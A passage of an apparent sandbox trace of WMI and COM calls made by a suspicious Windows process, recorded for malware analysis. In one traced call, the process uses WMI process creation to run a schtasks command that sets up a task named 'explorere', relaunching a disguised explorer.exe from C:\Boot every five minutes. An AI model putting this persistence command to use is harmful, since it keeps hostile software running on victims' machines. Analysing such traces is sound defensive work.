[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511d98) returned 0x0 [0116.704] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0116.704] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0116.704] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0116.704] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0116.704] IWbemServices:GetObject (in: This=0x1b4e1550, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d9b60, ppCallResult=0x0) returned 0x0 [0116.708] IWbemClassObject:GetMethod (in: This=0x1b4d9b60, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d6eb0, ppOutSignature=0x1b30d610*=0x1b4d9110) returned 0x0 [0116.708] IWbemClassObject:SpawnInstance (in: This=0x1b4d6eb0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x5f4590) returned 0x0 [0116.708] IWbemClassObject:Get (in: This=0x5f4590, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d54c8*=0, plFlavor=0x27d54cc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d54c8*=8, plFlavor=0x27d54cc*=32) returned 0x0 [0116.708] IWbemClassObject:Get (in: This=0x5f4590, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d54c8*=8, plFlavor=0x27d54cc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d54c8*=8, plFlavor=0x27d54cc*=32) returned 0x0 [0116.708] IWbemClassObject:Put (This=0x5f4590, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0116.708] IWbemClassObject:Get (in: This=0x5f4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5558*=0, plFlavor=0x27d555c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5558*=13, plFlavor=0x27d555c*=32) returned 0x0 [0116.709] IWbemClassObject:Get (in: This=0x5f4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5558*=13, plFlavor=0x27d555c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5558*=13, plFlavor=0x27d555c*=32) returned 0x0 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7900) returned 0x0 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0116.709] IUnknown:AddRef (This=0x1b4d7900) returned 0x3 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7908) returned 0x0 [0116.709] IMarshal:GetUnmarshalClass (in: This=0x1b4d7908, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0116.709] IUnknown:Release (This=0x1b4d7908) returned 0x3 [0116.709] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0116.709] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0116.709] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0116.709] IUnknown:Release (This=0x1b4d7900) returned 0x2 [0116.710] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0116.710] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0116.710] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0116.710] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0116.710] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0116.710] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0116.710] IUnknown:AddRef (This=0x1b4d7900) returned 0x3 [0116.710] IWbemClassObject:Put (This=0x5f4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7900, varVal2=0x0), Type=0) returned 0x0 [0116.710] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655370, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0116.710] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0116.711] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0116.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0116.711] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0116.711] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.711] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0116.711] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0116.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511d98) returned 0x0 [0116.711] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0116.711] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0116.711] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0116.711] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0116.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511d98) returned 0x0 [0116.711] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0116.711] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0116.711] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0116.711] WbemDefPath:IWbemPath:GetText (in: This=0x655370, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0116.711] IWbemServices:ExecMethod (in: This=0x1b4e1550, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x5f4590, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x5f4840, ppCallResult=0x0) returned 0x0 [0116.782] IWbemClassObject:Get (in: This=0x5f4840, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5868*=0, plFlavor=0x27d586c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1304, varVal2=0x0), pType=0x27d5868*=19, plFlavor=0x27d586c*=0) returned 0x0 [0116.782] IWbemClassObject:Get (in: This=0x5f4840, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5868*=19, plFlavor=0x27d586c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1304, varVal2=0x0), pType=0x27d5868*=19, plFlavor=0x27d586c*=0) returned 0x0 [0116.782] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0116.782] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0116.782] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0116.782] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.783] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d3320) returned 0x0 [0116.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3320, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0116.783] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3320, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656db0) returned 0x0 [0116.783] WbemDefPath:IUnknown:Release (This=0x1b4d3320) returned 0x0 [0116.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656db0) returned 0x0 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0116.784] WbemDefPath:IUnknown:AddRef (This=0x656db0) returned 0x3 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d32c0) returned 0x0 [0116.784] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d32c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.784] WbemDefPath:IUnknown:Release (This=0x1b4d32c0) returned 0x3 [0116.784] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0116.784] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0116.784] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x2 [0116.784] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x1 [0116.784] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0116.784] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0116.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656db0) returned 0x0 [0116.784] WbemDefPath:IUnknown:AddRef (This=0x656db0) returned 0x3 [0116.784] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x2 [0116.784] WbemDefPath:IWbemPath:SetText (This=0x656db0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0116.784] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.784] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0116.785] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0116.785] WbemDefPath:IWbemPath:GetInfo (in: This=0x656db0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.785] WbemDefPath:IWbemPath:GetInfo (in: This=0x656db0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.785] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0116.785] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0116.785] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0116.785] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.785] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d3560) returned 0x0 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3560, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0116.786] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3560, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x6566f0) returned 0x0 [0116.786] WbemDefPath:IUnknown:Release (This=0x1b4d3560) returned 0x0 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x6566f0) returned 0x0 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0116.786] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d3020) returned 0x0 [0116.786] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3020, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.786] WbemDefPath:IUnknown:Release (This=0x1b4d3020) returned 0x3 [0116.786] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0116.786] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0116.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0116.786] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0116.786] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0116.786] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0116.786] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0116.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x6566f0) returned 0x0 